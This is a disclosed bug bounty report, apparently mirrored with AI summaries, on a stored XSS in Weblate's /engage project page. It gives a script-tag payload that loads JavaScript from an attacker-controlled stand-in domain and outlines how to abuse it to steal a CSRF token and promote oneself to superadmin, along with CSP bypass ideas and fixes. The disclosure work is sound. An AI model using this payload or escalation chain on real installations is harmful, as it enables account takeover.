Stored XSS @ /engage/<project_slug>
A project's name is rendered without escaping on the /engage/<project_slug> page, allowing a stored cross-site scripting payload. An attacker with project-admin rights could run script in a victim's browser, but the report notes the name length limit and CSP currently block straightforward exploitation.
- Triaged in 14 hours
- Fixed in 14 hours
- Disclosed after 6 months
Description
The vulnerability concerns a Stored XSS, while it is currently (to the best of my knowledge) not exploitable due to limitations stated below. I thought that the issue is worth reporting anyway.
Steps to reproduce
- Change a project's name (or create one) to the following payload:
<script src="http://<adversery_domain>/payload.js"></script>, where<adversary_domain>could be any domain that you own. For testing purposes you can host the javascript file on localhost. - Navigate to
/engage/<project_slug>, where<project_slug>is the project's url slug. - Any javascript payload you host will be executed under the origin of weblate.
Referenced code
The code that is the root cause for the vulnerability is under: weblate/trans/views/basic.py:show_engage:123, where show_engage is the view called for the /engage/<project_slug> url.
Caveats
- A project's name is limited to 60 characters, therefore we cannot inject our payload straight into it. A bypass for that is the one referenced in step 1, where we load an external javascript file from a domain we own.
- By default the application's CSP only allows scripts from certain domains (cdnjs etc.). Although, the default CSP allows
unsafe-inlinewhen any CDN is enabled. - The session cookie is uses the attributes
HttpOnlyandSameSite=lax, therefore hijacking the superadmin's session token is impossible (for most browsers). - In order to perform the attack, you have to own a user account that can change a project's name, which is true for any project administrator.
Possible bypasses
- A project's name character limit is extended.
- Since the application supports file uploads and the CSP allows scripts coming from
self(current domain), one could upload their payload to the Weblate installation. This bypass would require an endpoint that accepts uploading HTML/javascript content and stores it under themediauploads.
Proof of Concept
In order to get any value of the present XSS, since we cannot steal the superadmin's session token, we can perform any action as the superadmin. That is because we can issue any GET/POST request and read the response, since we operate under the same origin as the hosted application. As mentioned before, in order to perform the following attack, we need a user account that can change a project's name.
- Issue a GET request under
admin/weblate_auth/user/in order to find our user record's ID. - Issue a GET request under
admin/weblate_auth/user/5/change/, assuming that the ID is 5 for instance. - Read the previous' request's response in order to steal the
csrfmiddlewaretokenthat Django injects to protect against such attacks. - Issue a POST request using the above information to make our user a superadmin.
The payload.js that automatically does the steps 2-4 is attached to the report (except for parsing the response for csrftokenmiddlware, which is trivial using javascript).
Proposed fixes
- Escape the project's name using django's
escapefunction before output - Remove the
unsafe-inlinedirective from the CSP when CDNs are enabled.
Impact
Given a bypass to either the project's name character limit or the CSP, any user that has the ability to change a project's name can make themselves a superuser through CSRF.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the project name is output without HTML escaping in the show_engage view.
Impact
If the name length limit or CSP were bypassed, a project administrator could run script as a victim and, because the session cookie is HttpOnly, perform actions such as making themselves a superuser rather than stealing the session token.
What the attacker needed
A user account that can change a project's name; a domain you control to host the script; a bypass of the 60-character name limit or CSP
The fix
The project name should be escaped before output, and the unsafe-inline CSP directive should be removed when CDNs are enabled.
How it was found
- Change or create a project name containing a script tag that loads an external JavaScript file from a domain you control.
- Navigate to the /engage/<project_slug> URL for that project.
- The hosted JavaScript payload executes under the application's origin.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A project name is shown on a page without being made safe, so if someone puts code in the name it can run in another user's browser. That kind of injected code is called cross-site scripting. The report says two protections, a 60-character limit and a content security policy, currently stop it from being easily used.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.